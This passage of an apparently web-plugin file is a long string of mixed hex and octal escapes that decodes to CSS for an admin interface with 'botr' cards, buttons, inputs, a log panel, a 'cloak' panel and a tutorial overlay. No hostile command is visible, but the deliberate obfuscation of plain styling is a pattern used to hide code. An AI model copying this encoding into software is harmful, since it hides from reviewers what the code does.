7\x69\x6e\x2d\x62\x6f\x74\164\157\155\x3a\x32\62\x70\x78\x3b\160\141\144\x64\151\156\147\x2d\142\157\x74\164\157\x6d\72\x31\x36\x70\x78\x3b\142\x6f\162\x64\x65\162\x2d\142\157\x74\x74\x6f\155\x3a\x31\160\170\x20\x73\x6f\x6c\151\144\x20\166\x61\x72\x28\x2d\55\154\151\156\145\51\73\147\141\x70\x3a\61\62\x70\x78\x3b\146\154\x65\170\55\x77\x72\x61\x70\72\167\162\x61\160\x7d\12\56\142\x6f\x74\x72\x2d\x6c\157\x67\157\173\x66\x6f\156\x74\x2d\167\x65\x69\x67\x68\164\72\x38\60\x30\x3b\154\145\x74\164\x65\162\x2d\x73\160\141\x63\151\x6e\x67\72\x32\160\x78\73\146\x6f\156\x74\x2d\163\x69\172\145\72\61\x38\x70\170\73\x64\151\x73\160\154\141\x79\72\x66\154\145\x78\73\141\x6c\151\147\156\55\151\x74\145\155\163\x3a\143\x65\x6e\164\x65\x72\x3b\x67\x61\x70\72\61\60\x70\170\175\xa\x2e\x62\x6f\x74\x72\55\144\157\x74\x7b\x77\x69\x64\x74\x68\x3a\61\x31\x70\x78\x3b\150\x65\151\x67\150\164\x3a\x31\61\x70\170\73\142\x6f\x72\144\x65\x72\x2d\162\x61\144\151\165\163\72\x35\60\45\x3b\x62\x61\x63\x6b\x67\162\157\165\x6e\x64\x3a\166\141\x72\x28\x2d\55\141\143\143\145\x6e\164\x29\73\142\x6f\x78\x2d\x73\x68\x61\x64\x6f\167\x3a\60\40\x30\x20\61\x34\x70\170\40\166\141\162\x28\x2d\55\141\x63\143\x65\x6e\164\51\x2c\x30\40\x30\x20\x34\x70\x78\x20\166\x61\x72\50\x2d\x2d\x61\143\x63\145\156\x74\x29\73\x61\156\151\x6d\141\164\151\x6f\x6e\72\x70\x75\154\163\x65\x20\62\163\x20\x69\x6e\146\x69\x6e\151\x74\x65\175\xa\100\x6b\145\171\x66\162\x61\x6d\x65\163\x20\160\165\x6c\x73\x65\x7b\60\x25\54\61\60\60\x25\173\157\160\141\x63\x69\164\171\x3a\x31\x7d\x35\x30\45\173\x6f\x70\141\143\151\x74\x79\72\56\x33\x35\x7d\x7d\xa\x2e\142\x6f\x74\x72\55\150\162\x7b\144\151\163\160\154\x61\171\x3a\x66\154\145\170\x3b\141\x6c\x69\147\156\55\151\164\x65\155\163\x3a\143\145\x6e\164\x65\x72\73\147\x61\160\72\61\64\x70\x78\175\12\56\142\157\x74\x72\55\x73\x75\142\x7b\x63\x6f\154\x6f\x72\x3a\x76\141\x72\x28\x2d\x2d\x64\x69\155\x29\x3b\146\157\x6e\164\55\163\x69\172\145\72\x31\62\160\x78\x3b\x74\145\170\x74\x2d\x74\x72\141\x6e\163\146\157\x72\x6d\72\x75\160\160\145\162\143\141\x73\145\x3b\x6c\145\164\x74\145\162\x2d\x73\x70\x61\143\151\x6e\147\72\x32\160\x78\175\xa\56\x62\x6f\x74\x72\55\147\x72\x69\x64\173\x64\x69\x73\x70\x6c\141\x79\x3a\x67\162\151\x64\73\147\162\151\x64\55\164\x65\155\160\154\141\164\x65\x2d\143\x6f\154\165\x6d\x6e\x73\72\162\x65\160\145\x61\x74\50\x61\165\164\x6f\x2d\146\151\164\54\x6d\151\156\155\x61\170\x28\61\65\x30\x70\x78\54\x31\x66\x72\51\x29\73\147\141\x70\72\x31\x34\160\x78\73\155\141\162\147\151\156\x2d\x62\x6f\x74\x74\157\x6d\x3a\62\62\x70\x78\x7d\12\56\142\x6f\164\x72\55\x63\141\x72\144\173\142\x61\143\x6b\147\162\x6f\x75\x6e\x64\x3a\154\x69\x6e\145\x61\x72\55\x67\162\141\144\x69\x65\x6e\164\x28\61\x36\60\x64\145\147\x2c\166\141\162\x28\x2d\55\143\x61\x72\x64\x29\x2c\166\141\162\x28\x2d\55\x63\x61\x72\x64\62\x29\51\x3b\142\x6f\x72\x64\145\162\x3a\x31\x70\170\40\x73\157\154\x69\x64\x20\x76\x61\x72\50\x2d\x2d\x6c\x69\x6e\145\x29\73\142\x6f\162\144\x65\162\55\162\x61\x64\151\x75\163\72\x31\64\x70\x78\73\x70\x61\x64\144\151\x6e\147\x3a\61\x36\160\x78\73\144\x69\163\160\154\141\171\72\x66\154\145\170\73\146\x6c\145\x78\55\144\x69\x72\145\143\x74\x69\x6f\x6e\x3a\143\x6f\154\x75\x6d\x6e\73\147\141\x70\72\70\x70\170\x3b\142\157\170\55\163\150\141\x64\157\x77\x3a\60\x20\70\160\x78\40\x33\x30\160\170\40\x72\147\142\x61\50\60\54\x30\54\x30\54\x2e\63\65\x29\x7d\xa\x2e\142\157\x74\x72\x2d\x63\x61\x72\144\55\x6c\x61\142\x65\154\x7b\x66\x6f\156\x74\x2d\x73\x69\172\x65\x3a\61\x31\160\170\x3b\x74\x65\170\x74\x2d\164\162\141\x6e\163\x66\x6f\x72\155\72\165\160\160\x65\162\x63\141\x73\145\73\x6c\145\164\x74\145\x72\55\x73\x70\141\x63\151\x6e\x67\72\x31\56\x35\160\x78\x3b\143\x6f\154\157\162\x3a\166\141\162\50\55\55\144\151\x6d\x29\x7d\12\56\x62\x6f\x74\x72\55\x63\x61\x72\x64\55\166\x61\x6c\x7b\146\x6f\x6e\x74\55\163\151\172\145\72\x31\x35\x70\170\x3b\x66\157\156\x74\x2d\167\x65\151\147\x68\164\72\66\x30\60\x7d\xa\56\142\x6f\x74\162\55\142\141\x64\147\145\173\x64\x69\163\x70\x6c\x61\171\x3a\151\x6e\154\x69\156\145\55\142\x6c\157\143\x6b\x3b\x70\141\144\144\x69\156\x67\x3a\63\x70\x78\x20\61\60\x70\x78\x3b\142\x6f\x72\144\x65\162\x2d\x72\141\x64\151\x75\163\72\71\x39\x39\160\170\x3b\x66\157\156\164\x2d\163\151\172\145\x3a\x31\62\x70\x78\73\x66\157\x6e\164\55\167\x65\151\147\x68\164\x3a\67\x30\60\175\xa\56\x62\x6f\164\x72\x2d\x62\141\144\x67\145\x2e\157\x6b\x7b\142\141\143\x6b\x67\x72\157\165\x6e\144\72\162\x67\142\x61\x28\x32\65\54\x32\x32\67\x2c\61\x37\67\x2c\x2e\61\64\51\73\143\157\x6c\157\162\x3a\x76\141\x72\50\55\x2d\157\153\51\73\142\x6f\x72\x64\x65\x72\72\61\x70\x78\x20\x73\x6f\154\x69\x64\40\x72\147\142\141\x28\x32\65\x2c\x32\x32\67\54\x31\x37\x37\54\x2e\64\51\x7d\12\56\142\x6f\x74\162\55\142\141\144\147\145\56\157\x66\146\x7b\142\x61\x63\153\x67\162\157\165\x6e\x64\x3a\162\147\142\x61\x28\x32\64\x36\x2c\67\60\54\71\x33\54\x2e\61\62\51\x3b\x63\157\x6c\x6f\x72\72\x76\x61\162\50\x2d\x2d\145\x72\x72\51\x3b\142\x6f\162\144\x65\162\x3a\61\160\x78\40\163\x6f\x6c\151\x64\x20\x72\147\x62\x61\x28\x32\64\66\54\x37\x30\54\71\x33\54\x2e\63\65\x29\x7d\xa\x2e\x62\x6f\164\162\55\x62\141\x64\x67\x65\x2e\x64\151\155\173\x62\x61\x63\153\147\162\x6f\x75\156\144\x3a\162\147\142\x61\x28\x31\x32\x36\54\x31\63\71\54\x31\x36\63\x2c\56\61\x35\51\x3b\143\157\154\x6f\x72\x3a\166\x61\x72\x28\55\55\144\x69\x6d\51\73\142\x6f\162\x64\145\162\72\x31\160\170\40\x73\157\x6c\151\x64\x20\x76\x61\162\x28\x2d\55\154\151\x6e\145\x29\x7d\xa\56\142\157\x74\x72\x2d\x62\157\170\x7b\142\141\143\x6b\147\x72\x6f\165\156\x64\x3a\x72\147\142\x61\x28\x31\71\54\62\70\x2c\x34\63\54\56\66\x29\73\x62\x6f\162\x64\x65\162\72\x31\x70\170\x20\x73\157\x6c\x69\x64\40\166\x61\162\50\55\x2d\x6c\x69\x6e\145\x29\x3b\142\157\162\x64\x65\162\55\162\x61\x64\151\165\163\72\61\66\x70\x78\x3b\x70\141\x64\x64\x69\156\x67\x3a\x32\62\x70\x78\73\x6d\x61\x72\x67\151\156\x2d\142\157\164\x74\157\x6d\x3a\62\x30\x70\x78\x3b\x62\x61\143\x6b\x64\162\157\160\55\146\x69\x6c\x74\x65\x72\72\142\x6c\165\x72\50\66\x70\x78\51\175\xa\56\142\157\164\162\x2d\142\157\170\x20\x68\x32\173\x6d\141\x72\x67\x69\x6e\72\x30\40\60\40\x31\60\160\170\x3b\x66\x6f\156\164\55\x73\151\x7a\x65\x3a\x31\66\x70\x78\73\x6c\x65\x74\164\145\x72\x2d\163\x70\x61\143\151\156\147\x3a\56\x35\160\x78\x7d\12\x2e\x62\157\x74\162\55\144\151\x6d\x7b\x63\x6f\x6c\157\162\72\x76\x61\162\50\x2d\x2d\144\x69\155\x29\x3b\146\x6f\x6e\164\x2d\x73\151\x7a\x65\72\x31\x33\160\170\x3b\x6d\141\x72\147\x69\x6e\72\x34\160\x78\40\x30\x20\x31\x34\160\170\x3b\154\151\x6e\x65\55\x68\145\151\x67\150\x74\x3a\x31\56\66\x7d\xa\x63\x6f\x64\145\173\x62\x61\x63\153\x67\162\x6f\x75\156\x64\x3a\162\147\x62\141\50\x32\x35\x35\x2c\62\65\x35\x2c\62\65\65\54\x2e\x30\66\x29\73\160\141\144\x64\151\x6e\x67\x3a\x32\160\x78\40\67\160\170\73\x62\x6f\x72\144\145\x72\x2d\x72\141\144\x69\x75\x73\x3a\66\x70\170\x3b\146\x6f\156\x74\55\x73\151\172\145\72\61\62\160\x78\73\x63\x6f\154\x6f\x72\72\x23\71\146\x65\x39\x64\63\x7d\xa\56\142\157\164\162\x2d\x61\143\164\151\157\156\163\x7b\x64\151\x73\x70\154\x61\171\x3a\146\x6c\145\170\73\x66\x6c\x65\x78\x2d\x77\162\x61\x70\72\x77\162\x61\160\73\x67\141\x70\x3a\x31\x30\160\170\x7d\x2e\x62\x6f\164\162\55\x61\x63\x74\151\157\156\163\x20\146\157\162\155\x7b\x6d\141\162\x67\151\x6e\x3a\60\175\xa\56\x62\x6f\x74\x72\55\x62\x74\156\x7b\143\165\162\x73\x6f\x72\x3a\160\157\151\156\x74\145\x72\x3b\142\157\162\144\x65\162\x3a\61\160\170\x20\163\157\x6c\151\144\40\x76\x61\162\50\55\x2d\154\151\x6e\145\51\x3b\x62\141\143\x6b\x67\162\x6f\165\156\144\x3a\x76\x61\162\50\x2d\55\x63\141\162\144\x32\x29\x3b\143\157\154\157\162\x3a\166\141\162\x28\55\55\164\x78\164\x29\x3b\160\x61\144\x64\x69\156\147\72\61\x30\x70\x78\40\x31\x36\x70\x78\73\142\157\x72\144\x65\x72\x2d\162\141\144\x69\x75\163\72\61\x30\160\170\x3b\x66\157\156\x74\x2d\x73\x69\x7a\145\x3a\x31\x33\x70\170\x3b\x66\x6f\156\x74\55\x77\145\x69\x67\x68\164\x3a\x36\60\60\x3b\x74\162\141\156\x73\151\x74\x69\x6f\x6e\72\56\x31\x35\163\73\154\145\164\164\x65\162\55\163\160\141\x63\x69\x6e\147\72\56\x33\160\170\x3b\x74\145\170\x74\x2d\x64\x65\x63\x6f\162\x61\164\x69\157\x6e\x3a\x6e\157\x6e\x65\73\144\x69\x73\160\x6c\x61\171\72\151\156\x6c\x69\x6e\x65\55\x66\154\x65\170\73\141\154\151\147\x6e\x2d\151\164\x65\x6d\163\72\143\145\156\x74\x65\x72\73\x67\x61\160\72\66\x70\x78\73\167\150\151\164\x65\55\x73\160\x61\143\145\72\156\x6f\167\162\141\x70\175\12\141\56\142\x6f\x74\162\x2d\142\164\x6e\x3a\x68\x6f\166\145\162\173\x63\157\x6c\157\162\72\166\x61\x72\50\x2d\x2d\164\x78\x74\51\175\56\142\157\164\x72\x2d\142\x74\x6e\72\150\157\166\x65\x72\173\164\x72\x61\x6e\163\x66\x6f\x72\x6d\x3a\164\x72\x61\x6e\x73\x6c\x61\164\x65\x59\x28\x2d\61\160\x78\x29\x3b\x62\x6f\x72\144\145\x72\55\143\157\154\157\162\72\x76\141\162\x28\55\x2d\141\143\x63\145\x6e\x74\x32\51\x7d\xa\56\x62\x6f\164\x72\55\142\164\x6e\x2e\x70\x72\151\x6d\141\x72\x79\173\x62\141\x63\x6b\147\x72\157\x75\x6e\144\x3a\x6c\151\156\145\x61\x72\55\x67\x72\141\x64\151\145\156\x74\50\61\x33\65\144\x65\147\x2c\x76\x61\x72\50\55\55\141\143\x63\x65\156\x74\x29\x2c\43\x31\x32\x62\70\71\x34\x29\x3b\x63\157\x6c\157\x72\x3a\43\60\x34\61\x33\x30\145\x3b\142\x6f\162\x64\x65\x72\x3a\x6e\157\156\145\73\x62\157\170\x2d\163\x68\x61\144\x6f\167\x3a\x30\x20\x36\160\170\40\62\x30\x70\170\40\162\147\x62\x61\x28\x32\x35\x2c\x32\62\67\54\x31\x37\67\x2c\56\63\51\x7d\xa\56\142\157\164\x72\x2d\142\164\x6e\x2e\x72\x65\x64\173\x62\157\162\x64\x65\162\x2d\143\x6f\x6c\x6f\162\x3a\162\147\142\x61\50\x32\x34\x36\x2c\x37\x30\54\71\x33\x2c\56\65\51\x3b\x63\x6f\x6c\x6f\162\x3a\x23\146\x66\x38\x30\71\64\175\12\x2e\142\x6f\x74\162\x2d\142\164\156\x2e\x67\x68\157\163\164\x7b\142\141\143\153\147\162\x6f\165\x6e\144\x3a\x74\162\x61\x6e\x73\x70\x61\x72\x65\x6e\x74\x7d\12\x2e\142\157\164\162\55\x62\164\x6e\x5b\144\x69\x73\x61\x62\x6c\x65\144\x5d\173\157\160\141\143\151\164\171\72\56\64\65\73\x63\x75\162\x73\x6f\x72\72\x6e\x6f\164\55\141\154\154\x6f\x77\145\144\73\x74\x72\141\x6e\163\x66\157\162\155\72\x6e\x6f\156\145\73\x62\x6f\x78\x2d\x73\x68\x61\144\x6f\x77\x3a\156\x6f\x6e\x65\x7d\xa\56\142\157\164\x72\55\155\x73\x67\173\x70\141\x64\144\151\156\x67\72\x31\x32\x70\170\x20\61\x36\160\170\x3b\142\157\x72\144\145\x72\55\162\x61\x64\x69\165\163\72\x31\60\x70\170\x3b\x66\x6f\156\x74\55\163\151\172\x65\x3a\61\x33\160\170\73\155\x61\x72\x67\x69\x6e\72\x30\x20\60\40\61\x38\x70\170\73\142\157\x72\x64\145\x72\72\x31\x70\170\40\163\x6f\154\151\x64\x3b\x62\141\x63\153\147\162\157\165\156\144\72\162\x67\x62\141\50\x35\x39\x2c\x31\x33\x30\54\62\64\x36\54\56\61\51\x3b\142\x6f\x72\x64\x65\162\x2d\143\x6f\x6c\x6f\x72\x3a\x72\x67\142\141\50\65\x39\x2c\61\63\x30\54\x32\x34\x36\x2c\56\x34\51\73\x63\x6f\x6c\x6f\x72\72\x23\x38\x66\x62\x38\146\x66\175\12\56\142\157\x74\162\55\143\154\x6f\141\153\173\x62\157\x72\144\145\x72\x3a\62\x70\x78\x20\x73\157\x6c\x69\144\x20\x76\141\x72\x28\x2d\x2d\x6c\151\156\145\x29\73\142\157\162\144\x65\x72\x2d\162\x61\x64\151\165\163\x3a\61\x34\160\x78\73\160\x61\144\144\151\x6e\147\72\61\66\160\170\40\x32\60\x70\x78\73\x6d\x61\162\147\151\156\x2d\142\x6f\164\x74\x6f\155\72\62\x32\160\170\x3b\142\141\143\153\x67\162\157\165\x6e\x64\x3a\162\x67\x62\141\50\61\71\x2c\62\x38\54\64\63\54\56\66\51\73\x62\141\143\153\x64\x72\x6f\x70\x2d\146\x69\154\x74\145\x72\72\x62\154\x75\x72\50\x36\160\x78\51\175\xa\56\x62\x6f\164\x72\55\x63\x6c\157\141\x6b\55\150\x65\141\x64\x7b\x64\151\163\x70\x6c\141\x79\72\x66\154\x65\170\73\141\154\x69\x67\156\x2d\x69\164\145\x6d\x73\x3a\x63\145\156\164\x65\x72\73\x67\x61\x70\72\x31\62\160\x78\x7d\12\x2e\x62\157\164\x72\x2d\143\x6c\157\x61\x6b\x2d\x73\165\x62\173\155\x61\162\147\x69\x6e\55\164\x6f\x70\x3a\x38\x70\x78\73\x63\157\154\157\x72\x3a\166\x61\162\x28\x2d\55\144\151\x6d\x29\x3b\x66\157\x6e\164\x2d\163\x69\x7a\145\72\x31\63\160\170\73\154\151\x6e\x65\55\x68\x65\151\x67\x68\x74\x3a\61\56\x38\175\12\x2e\142\x6f\164\x72\x2d\x66\154\141\142\x65\x6c\x7b\x64\x69\163\160\154\x61\x79\x3a\x62\x6c\157\x63\153\x3b\x66\x6f\x6e\164\x2d\x73\x69\172\145\72\61\x32\160\x78\73\x66\157\156\164\x2d\167\x65\x69\x67\x68\x74\72\66\60\x30\73\143\x6f\x6c\x6f\162\72\166\141\162\x28\55\x2d\144\151\155\51\x3b\x6d\141\x72\147\151\x6e\x3a\61\66\x70\x78\40\x30\40\66\x70\x78\73\x6c\x65\x74\164\x65\x72\x2d\x73\160\141\x63\151\156\147\72\x2e\x33\160\170\x7d\xa\x2e\x62\157\164\x72\55\151\x6e\x70\165\x74\173\167\x69\x64\164\150\x3a\61\60\60\x25\x3b\x62\x61\143\153\x67\x72\157\165\156\x64\x3a\x23\x30\x37\60\142\61\x32\73\142\x6f\162\144\x65\x72\x3a\61\x70\170\40\163\157\x6c\x69\x64\x20\x76\141\x72\x28\x2d\55\x6c\151\156\x65\x29\x3b\x62\157\x72\144\145\x72\x2d\x72\x61\x64\151\x75\163\x3a\61\x30\160\x78\73\x70\x61\x64\144\x69\156\x67\x3a\61\61\x70\170\x20\x31\64\x70\x78\73\143\157\x6c\x6f\x72\x3a\x76\x61\x72\50\x2d\55\x74\x78\x74\x29\x3b\146\x6f\x6e\x74\55\163\151\172\145\72\61\x33\160\x78\73\146\x6f\x6e\x74\55\146\x61\x6d\x69\x6c\171\x3a\x69\156\x68\145\162\151\164\175\12\56\142\157\x74\162\x2d\151\x6e\x70\x75\164\72\x66\157\x63\x75\x73\173\x6f\x75\x74\x6c\151\x6e\x65\72\156\157\x6e\x65\73\x62\x6f\x72\144\145\162\x2d\x63\x6f\154\x6f\162\72\166\141\162\x28\x2d\x2d\x61\x63\x63\x65\x6e\x74\x29\x7d\12\x73\x65\154\x65\143\x74\x2e\142\157\x74\162\55\151\x6e\x70\165\x74\173\141\160\x70\145\x61\x72\x61\x6e\x63\x65\72\x6e\x6f\x6e\x65\73\x2d\x77\x65\x62\x6b\x69\164\x2d\x61\160\160\145\141\162\141\x6e\143\145\x3a\x6e\157\x6e\145\175\12\x2e\x62\157\164\x72\x2d\162\x6f\x77\173\x64\x69\x73\160\x6c\141\171\72\146\x6c\x65\170\73\147\141\x70\72\71\160\170\x3b\x61\154\x69\x67\x6e\x2d\151\164\x65\x6d\163\x3a\143\x65\x6e\x74\x65\x72\73\x6d\x61\162\147\151\x6e\72\71\x70\170\x20\60\175\56\x62\x6f\x74\162\x2d\x72\x6f\167\40\x6c\x61\x62\145\x6c\x7b\146\157\x6e\164\55\163\151\x7a\x65\72\61\63\160\x78\x3b\x63\x6f\154\157\162\72\x76\x61\162\x28\55\x2d\x74\170\x74\x29\175\12\x2e\x62\157\164\162\55\143\150\x65\x63\153\x73\173\x77\x69\x64\164\150\x3a\x31\60\x30\45\73\142\157\x72\144\145\x72\55\143\157\x6c\x6c\x61\160\163\x65\x3a\x63\157\x6c\154\141\x70\163\145\175\12\56\142\157\x74\162\55\x63\x68\x65\x63\x6b\163\40\x74\144\x7b\x70\x61\144\x64\x69\156\x67\x3a\71\160\170\40\x34\x70\x78\x3b\x62\157\x72\x64\x65\x72\55\142\157\164\x74\157\155\x3a\x31\x70\x78\40\163\x6f\154\151\x64\x20\x76\x61\162\x28\x2d\55\x6c\151\156\x65\51\x3b\x76\x65\x72\164\151\x63\141\x6c\x2d\x61\x6c\x69\x67\x6e\x3a\x74\x6f\160\x3b\146\x6f\x6e\164\x2d\x73\x69\x7a\145\72\x31\x33\160\x78\175\xa\x2e\x62\x6f\164\x72\x2d\x63\150\x65\143\153\x73\x20\164\144\72\146\x69\x72\163\x74\55\x63\x68\x69\154\144\173\x77\151\x64\164\150\x3a\62\x34\x70\170\73\x66\x6f\x6e\164\x2d\167\145\x69\147\150\164\x3a\70\x30\60\x7d\xa\56\x69\143\55\157\153\173\143\x6f\154\157\162\x3a\x76\x61\162\50\x2d\55\x6f\153\x29\x7d\56\151\143\55\142\141\144\173\143\157\x6c\x6f\x72\72\x76\x61\x72\50\55\x2d\x65\x72\162\51\175\xa\56\142\157\x74\162\55\x6c\151\x6e\x6b\173\x77\x6f\162\x64\x2d\142\162\145\141\153\x3a\x62\162\145\x61\x6b\55\x61\x6c\x6c\x3b\x62\141\x63\x6b\x67\x72\157\165\x6e\x64\x3a\43\x30\x37\x30\x62\x31\62\x3b\x62\x6f\162\x64\145\162\72\61\160\170\40\x64\141\x73\150\145\x64\40\x76\x61\162\50\55\55\141\143\x63\145\x6e\x74\62\51\x3b\x70\x61\144\x64\151\x6e\147\72\61\x32\160\170\73\142\x6f\x72\x64\x65\162\x2d\162\x61\x64\151\x75\x73\72\61\60\x70\170\73\146\157\156\x74\55\x73\x69\172\145\x3a\61\63\160\x78\73\143\x6f\154\x6f\162\72\43\x38\146\142\x38\146\146\175\12\x2e\x62\x6f\164\x72\x2d\x66\x6f\x6f\164\173\155\141\162\147\151\156\55\x74\157\160\72\63\x30\160\x78\73\164\145\170\x74\x2d\141\154\151\147\156\72\x63\x65\x6e\164\145\x72\x3b\143\157\x6c\x6f\162\x3a\166\x61\162\x28\55\x2d\144\151\155\x29\73\146\x6f\156\x74\x2d\163\151\x7a\x65\x3a\x31\x32\160\170\x3b\154\x65\164\x74\x65\162\x2d\x73\x70\141\143\151\156\x67\72\61\x70\x78\x7d\12\x70\x72\x65\x2e\x62\x6f\x74\x72\55\x6c\x6f\x67\x7b\167\150\x69\x74\145\x2d\163\160\141\x63\145\x3a\160\162\x65\x2d\167\162\141\x70\x3b\167\x6f\162\x64\55\x62\162\145\141\153\72\x62\x72\x65\x61\x6b\55\141\154\154\73\142\x61\143\153\147\162\157\x75\156\144\x3a\x23\x30\x37\60\142\x31\62\x3b\x62\157\x72\x64\145\162\x3a\x31\160\x78\40\x73\157\154\x69\x64\40\x76\141\162\50\55\x2d\x6c\x69\156\x65\x29\73\160\x61\144\x64\151\156\147\x3a\x31\x34\160\170\73\142\157\x72\144\x65\x72\x2d\162\x61\144\x69\x75\163\x3a\61\62\160\170\73\155\141\x78\55\150\145\x69\x67\x68\x74\72\x33\60\x30\160\x78\73\157\x76\x65\x72\146\154\157\167\x3a\x61\x75\x74\x6f\73\146\x6f\x6e\164\55\x73\151\172\x65\x3a\61\62\160\x78\73\x63\x6f\x6c\157\x72\x3a\43\x62\146\x65\x39\x64\143\73\155\x61\x72\147\x69\x6e\72\60\175\12\144\145\164\141\x69\x6c\x73\56\142\157\x74\162\55\x61\x64\166\173\x6d\141\x72\147\x69\156\55\164\157\160\x3a\x31\x36\x70\x78\x3b\x62\157\162\144\x65\162\x2d\x74\157\x70\x3a\61\x70\170\40\x64\x61\x73\150\145\x64\x20\x76\141\162\50\55\55\x6c\151\x6e\145\x29\73\x70\x61\144\x64\x69\x6e\x67\x2d\164\157\160\x3a\61\62\x70\x78\x7d\12\x64\145\x74\141\x69\154\163\56\142\x6f\164\162\55\141\x64\x76\x20\x73\165\x6d\155\x61\x72\171\x7b\143\x75\162\x73\157\x72\x3a\x70\x6f\151\156\164\x65\x72\73\143\x6f\154\x6f\x72\x3a\166\x61\x72\x28\55\x2d\x64\x69\x6d\51\x3b\146\x6f\156\164\55\163\151\172\x65\72\x31\63\x70\x78\73\x66\x6f\156\x74\x2d\x77\145\x69\x67\150\x74\72\x36\60\60\x7d\12\56\x62\x6f\164\162\x2d\x63\150\141\x69\x6e\173\144\x69\163\x70\154\141\x79\72\146\154\145\170\x3b\146\154\x65\x78\55\x77\162\141\160\72\167\x72\141\160\x3b\147\x61\x70\72\x36\160\170\x3b\155\x61\x72\147\x69\x6e\x3a\x36\160\170\40\x30\x20\60\73\146\157\156\164\55\x73\151\172\x65\72\61\62\160\x78\x3b\143\x6f\154\x6f\x72\72\x76\141\162\50\55\x2d\144\x69\x6d\51\x7d\12\x2e\x62\x6f\164\162\x2d\x68\145\x6c\x70\x2d\x63\164\141\173\144\151\x73\x70\x6c\x61\171\72\142\x6c\157\x63\153\73\x77\x69\x64\164\150\72\x31\60\x30\x25\x3b\164\145\x78\x74\x2d\x61\x6c\x69\147\156\x3a\x63\145\x6e\164\x65\162\x3b\x66\x6f\x6e\x74\55\163\151\172\x65\x3a\61\66\160\x78\73\160\141\x64\x64\151\x6e\147\72\61\x35\160\170\x3b\x6d\141\x72\147\x69\x6e\x2d\x62\x6f\x74\164\x6f\x6d\x3a\x32\60\x70\170\73\142\141\143\153\147\162\157\165\x6e\144\72\x6c\x69\x6e\x65\141\162\55\147\162\141\144\x69\145\156\x74\50\61\x33\65\x64\x65\147\54\x23\63\x62\70\62\x66\66\54\x23\x32\65\66\x33\x65\142\x29\73\x63\157\x6c\157\x72\72\43\x66\146\146\x3b\142\157\x72\144\x65\x72\x3a\x6e\x6f\x6e\x65\73\x62\157\162\144\x65\162\55\x72\141\144\x69\x75\x73\x3a\61\x32\160\x78\73\143\x75\x72\163\x6f\x72\72\x70\x6f\151\156\x74\x65\162\73\x66\x6f\x6e\x74\x2d\x77\145\x69\147\x68\164\72\x38\x30\60\x3b\154\145\x74\x74\x65\162\55\163\160\x61\x63\151\156\x67\x3a\56\63\160\x78\73\x62\157\x78\x2d\163\x68\x61\144\157\167\x3a\x30\40\x36\160\170\x20\62\x30\x70\x78\x20\162\147\x62\x61\50\65\71\x2c\61\63\60\54\62\x34\66\x2c\56\x33\x35\x29\x3b\x61\156\x69\155\141\x74\151\x6f\x6e\72\142\x6f\164\162\150\x65\x6c\160\40\x32\x2e\x36\163\x20\x69\156\x66\x69\156\x69\164\145\x7d\xa\x40\153\x65\171\146\162\141\x6d\x65\163\40\x62\157\x74\162\150\x65\x6c\160\x7b\60\x25\x7b\142\x6f\x78\x2d\163\150\141\x64\x6f\167\72\x30\40\x30\40\60\x20\60\x20\162\147\142\x61\50\x35\71\x2c\x31\x33\60\54\x32\64\x36\x2c\56\x35\x29\175\67\x30\x25\x7b\x62\x6f\x78\55\x73\x68\141\144\157\x77\x3a\60\40\x30\x20\x30\x20\61\66\x70\x78\40\x72\147\142\141\50\65\x39\54\x31\x33\x30\54\62\x34\x36\54\x30\x29\x7d\61\x30\x30\x25\173\142\x6f\170\55\163\150\141\x64\x6f\167\72\60\x20\60\x20\x30\40\x30\40\x72\x67\142\x61\50\x35\x39\x2c\61\63\x30\x2c\62\64\x36\x2c\x30\x29\175\175\12\x2e\142\157\x74\162\55\x6f\166\x7b\144\x69\163\x70\154\x61\x79\x3a\x6e\157\x6e\x65\73\x70\157\163\151\x74\151\x6f\x6e\x3a\x66\151\170\145\144\x3b\151\x6e\x73\x65\x74\72\60\73\142\x61\143\x6b\147\162\157\165\156\x64\x3a\162\147\142\141\50\62\54\x36\54\61\62\54\x2e\70\62\51\x3b\x7a\55\151\x6e\x64\x65\x78\72\71\x39\71\x39\73\x61\x6c\x69\x67\x6e\x2d\151\x74\145\155\x73\x3a\x66\154\145\170\x2d\x73\x74\141\x72\x74\73\x6a\165\x73\x74\x69\146\171\55\x63\x6f\x6e\164\145\x6e\x74\72\x63\145\x6e\x74\x65\x72\73\157\166\x65\162\x66\x6c\x6f\x77\x3a\x61\x75\164\157\x3b\160\141\x64\x64\x69\x6e\x67\x3a\62\x32\160\x78\x20\x31\62\x70\170\73\142\x61\x63\x6b\144\x72\157\160\55\146\151\154\x74\x65\x72\72\142\x6c\x75\x72\x28\x33\160\170\51\175\12\x2e\x62\157\x74\x72\55\157\166\56\157\160\145\x6e\173\144\x69\163\x70\x6c\x61\171\x3a\146\x6c\145\x78\x7d\xa\x2e\x62\157\164\162\55\164\165\x74\173\142\141\x63\x6b\147\162\x6f\x75\x6e\x64\x3a\x76\141\162\x28\55\55\143\141\162\x64\51\x3b\x62\157\162\144\x65\x72\72\61\160\x78\40\x73\x6f\x6c\151\144\40\x76\x61\x72\50\55\55\x6c\x69\156\145\51\73\x62\157\162\144\x65\162\55\x72\x61\144\151\165\163\x3a\x31\66\160\x78\73\155\141\x78\55\167\x69\x64\164\x68\72\66\64\x30\160\x78\x3b\167\151\x64\x74\150\x3a\61\x30\x30\x25\73\x70\141\x64\144\151\156\x67\x3a\x32\x36\x70\x78\73\x62\157\x78\x2d\x73\x68\141\144\157\x77\x3a\60\40\63\60\160\x78\40\x38\60\x70\x78\40\x72\x67\x62\141\50\x30\x2c\60\54\x30\x2c\x2e\66\x29\x7d\12\x2e\142\157\164\x72\x2d\164\165\x74\40\150\62\x7b\x6d\141\x72\x67\x69\x6e\72\60\40\x30\40\66\x70\x78\73\146\157\x6e\164\55\163\151\172\145\x3a\x32\x31\160\170\x7d\12\x2e\142\x6f\x74\x72\55\164\x75\164\x20\56\x6c\145\x61\x64\173\x63\157\x6c\157\x72\x3a\166\141\162\x28\55\55\x64\x69\x6d\51\x3b\146\x6f\x6e\164\x2d\163\151\x7a\145\x3a\x31\x34\x70\x78\73\x6d\141\x72\147\151\156\x2d\x62\157\164\164\x6f\x6d\72\70\160\170\73\154\151\x6e\145\55\x68\145\x69\x67\x68\x74\72\61\56\x37\175\xa\56\142\x6f\x74\162\55\163\164\x65\x70\173\144\151\163\160\x6c\141\x79\72\x66\x6c\145\170\x3b\147\x61\x70\x3a\61\x34\x70\x78\x3b\155\141\x72\147\x69\x6e\72\x31\x35\x70\170\40\60\x3b\x61\154\x69\x67\156\55\x69\x74\145\155\x73\x3a\146\154\x65\170\x2d\x73\x74\141\162\x74\x7d\12\56\x62\157\x74\162\x2d\x73\x74\145\160\